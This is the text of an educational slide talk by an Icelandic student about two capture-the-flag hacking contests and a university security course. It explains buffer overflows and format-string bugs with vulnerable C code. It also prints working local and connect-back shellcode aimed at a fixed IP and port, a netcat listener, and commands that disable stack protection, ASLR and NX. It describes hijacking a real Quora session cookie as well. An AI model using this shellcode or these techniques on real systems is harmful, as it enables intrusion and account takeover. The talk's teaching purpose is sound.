2.  I am Trausti Saemundsson, a MSc student at Reykjavik University in Iceland  My supervisor is Ymir Vigfusson  I´m here in London doing research with Gregory Chockler on a multitenant cache algorithm Trausti Ymir Gregory

3.  I have a BSc in Mathematics with focus on Computer Science  Went to the IMO (International Mathematical Olympiad) in 2008  I really like programming contests!  Participated in:  Facebook Hacker Cup 2013  NWERC 2012 in Delft, The Netherlands. First Icelandic team!  NCPC 2012  IEEEXtreme 24-Hour Programming Competition 2012  Google Code Jam 2012  Projecteuler, 112 solved problems

4.  Today I´m going to tell you about two Icelandic hacking contests and show you a video!  I will introduce the necessary concepts for understanding what we were hacking  I will also introduce the schedule for a 3 week course “Computer Security” taught at Reykjavik University in May 2013

5.  To be able to defend ourselves!  In order to defend ourselves against hackers, we must know how they think  By participating in a hacking contest, students learn the concepts extremely fast

6.  Hacking: The craft of exploiting software to do something it is not supposed to do.  Buffer overflows, shellcodes and format string exploits  If you haven´t heard about those concepts, I will introduce them!

7. /* echo.c */ void echo() { char buf[4]; /* Very small */ gets(buf); /* Dangerous function */ puts(buf); } int main() { printf(“Type a string:”); echo(); } unix>./echo Type a string:123 123 unix>./echo Type a string:123456789ABC 123456789ABC Segmentation Fault  Okay  Buffer overflow!

8. /* safeecho.c */ void echo() { char buf[4]; fgets(stdin, buf, 4); /* Read 3 bytes and add ‘\0’ */ puts(buf); } int main() { printf(“Type a string:”); echo(); } unix>./safeecho Type a string:123 123 unix>./safeecho Type a string:123456789ABC 123  Okay  Okay as well!

9.  C stores all variables on stack, but also other important stuff!  E.g. the address of where it was last executing (called the return address) void echo() { char buf[4]; gets(buf); puts(buf); } int main() {... echo(); } buf Stack frame for main Return address Old ebp Rest of stack frame for echo Stack grows down

10.  The input from the user overwrites the return address! void echo() { char buf[4]; gets(buf); puts(buf); } int main() {... echo(); } buf Stack frame for main Return address Old ebp Rest of stack frame for echo Could return to anywhere! input from user

11.  Where would we want to return?  Could return to OUR input buffer  Treated as machine code! Can execute anything void echo() { char buf[4]; gets(buf); puts(buf); } int main() {... echo(); } buf Stack frame for main Return address Old ebp Rest of stack frame for echo Could return to anywhere! input from user

12.  What do we want to execute?  Could eject CDROM or delete all files  Could launch a shell (say „/bin/bash“)  Could open a new port and launch a shell there  The coolest thing to do with a buffer overflow is to launch a shell!  A small piece of machine code that launches a shell like /bin/bash is called a shellcode

13. /* Spawn a local shell */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";  When executed, this shellcode stops the currently running program and opens /bin/sh instead

14. char connectbackshell[] = "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89" "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x68" "\xc0\xa8\x01\x8f" // IP: 192.168.1.143 "\x66\x68" "\x05\x39" // Port: 1337 "\xb2\x02\x66\x52\x89\xe1\x6a\x10\x51\x56\x89" "\xe1\xb3\x03\xb0\x66\xcd\x80\x99\x56\x8b\x1c" "\x24\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80" "\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"  When executed, this shellcode stops the currently running program and opens a connect back shell to 192.168.1.143 on port 1337 instead  The IP 192.168.1.143 must be listening on port 1337 with netcat: nc –l –vv –p 1337

15.  GCC stack protection  You can disable it by passing the compiler flag: -fno-stack-protector  Address space layout randomization (ASLR)  It can be disabled in Linux with: sysctl -w kernel.randomize_va_space=0  Non-executable protection (NX Bit)  Disable it by booting Linux up with the parameter: noexec=off

16.  The non executable protection makes parts of the stack and the heap non-executable  We can get past the non-executable protection by using:  Return-oriented programming (ROP).  ROP is to cherry pick parts of the code that is ALREADY executable to put together our evil code  Like making a mosaic!

17.  Address space layout randomization (ASLR) is a security method which randomizes the starting address of the stack, heap and the executable code  One way to get past this is to use NOP slides  NOP ( 0x90) is a machine language instruction for doing nothing

18.  The technique is to make an exploit like this:  We overwrite the return address with and then we hope that some part of the NOP slide is located at this address  If that happens, NOPs get executed one by one until our shellcode gets executed

19. /* fm.c */ int main() { char buf[128]; printf(“Type a string:”); gets(buf); printf(buf); } unix>./fm Type a string:%p 0xff8b7864  Prints a value from the stack  Writes a value to the stack  Very dangerous! unix>./fm Type a string:%n unix>./fm Type a string:%n%n%n%n%n Segmentation fault

20.  Format string vulnerabilities  Using printf (cmd); instead of printf (“%s”, cmd);  Lazy programmers… bugs like this still found!  Allows an attacker to investigate memory  Attacker can also write to an arbitrary address  Using the %n primitive carefully  Can take over the program, even remotely

21.  Vulnerable chat server running on an Ubuntu 11.04 server  The C source code is available at http://www.ymsir.com/contest.tgz http://www.ymsir.com/contest.tgz  The contest had 4 different levels

22.  Level 1: Read the source code and find a secret string  Level 2: Make a function print a secret message  Level 3: Spawn a connect back shell via a buffer overflow  Level 4: Use a format string exploit to spawn a local shell

23.  Two persons finished the fourth level  They competed in a final standoff in the Icelandic television  Had to spawn a shell with a buffer overflow

24.  One file given: http://ymsir.com/hacking/mystery.jpg http://ymsir.com/hacking/mystery.jpg  Several levels, with secret keywords to submit to www.ymsir.com/hacking/ www.ymsir.com/hacking/  First one had to discover that the file was a gzipped jpg file  Next to run f5-steganography on the jpg file to extract a txt file with a link

25.  The link contained a file  The file was a uuencoded C source code  The source code did a lot of random bit manipulations to the two arguments, a string and a number  The program then printed an IP address

26.  The correct arguments to the C program were given as hints in previous stages  The IP address that came from the C program dumped some code on port 666  This code was a password protected ZIP archive  2d6aa9e26592e9cf8e40d7e6753b87ba was given at a previous stage and this is md5(cracks) so the password to the ZIP archive was cracks

27.  The ZIP archive contained a TCPDUMP  By using wireshark to analyze the TCPDUMP, I found Ymir´s session cookie to www.quora.comwww.quora.com  So I used this session cookie and changed his profile picture to a cat

28.  He got revenge by booting my laptop up into single user mode and changing my facebook profile picture:  And then he said on my half on facebook: “Some people just want to see the world burn”  After that I settled for peace

29.  So I was not supposed to find this session cookie in the TCPDUMP but I was supposed to find a link to www.ymsir.com/ctf/ www.ymsir.com/ctf/  This website contains: STAGE ZEBRA. Not authenticated.  When you give the website GET arguments: www.ymsir.com/ctf/?user=ctf it contains:www.ymsir.com/ctf/?user=ctf *Hungry* for password

30.  By using a hint from a previous level the password was f00d, so by giving another argument: www.ymsir.com/ctf/?user=ctf&password=f00d  This site contains a private RSA key!  It also contains an IP address in the HTTP header

31.  Of course the RSA key was password protected with the password cracks  By using the RSA key, the username: ctf and the IP address one got into the server  The previous C source code had been compiled on this server with privileges of the user: ctf-final

32.  So next step was to find a buffer overflow vulnerability in the source code!  Then exploit it!  And then you were eligible to compete in the finals

33.  This virtual machine had several vulnerable C programs running  There was also a program /publish which we ran on the other computers to get points on the scoreboard  The finals were held on stage in a big cinema in Iceland  Every contestant got an Ubuntu 8.04 virtual machine with the same password

34.  Now I will show you a video of the contest!

35.  I had a robust exploit ready which got me a connect back shell to all the other computers  I ran it in the beginning of the contest and put a while loop on every computer:  while true; do /publish trausti; sleep 1s; done &  Helgi Kristvin however uses a Dvorak keyboard and types extremely fast  Before I could change my SSH password, he connected to my computer and replaced /bin/ps with a program that printed an old output from /bin/ps  So I could not kill his ssh session into my computer! Helgi Kristvin – The winner

36.  The participants of the contests had tremendous fun!  Learnt a lot by themselves!  Also used resources like: http://smashthestack.org/ http://insecure.org/stf/smashstack.html  And of course gdb

37.  Ymir Vigfusson (www.ymsir.com) is the organizer of those hacking contests  He will also teach a 3 week course called Computer Security this spring  This course is focused on vulnerabilities rather than conventional security  More complex hacking techniques!  Schedule on next slide!

38.  Week 1 (24/4 - 30/4)  Review of x86 assembly & C. Day assignment: decompiling x86. (+5%)  Basic buffer overflows in C programs. Lab #1: Buflab (10%)  Shellcodes and stack overflows. Lab #2: Stacklab (10%)  Wireless security. Optional lab: Wirelab (+5%)  Week 2 (1/5 – 7/5)  Heap overflows. Lab #3: Presentation (10%)  Defenses (NX, ASLR).  Format string attacks. Lab #4: Formatlab (10%)  Week 3 (8/5-11/5)  Web/logic and injection attacks. Lab #5: SQLlab (10%)  Network security, spoofing, sniffing, botnets.  Exploiting randomness. Lab #6: Entropylab (10%)  Final written exam (14/5?) (40%. Minimum 5.0/10.0 to pass)

39.  You saw examples of Buffer overflows, shellcodes and format string vulnerabilities  A brief overview of what happened at two Icelandic hacking contests!  I hope you enjoyed this presentation  If you haven´t already, I hope that you will be holding some Hacking Contests here!  Thank you!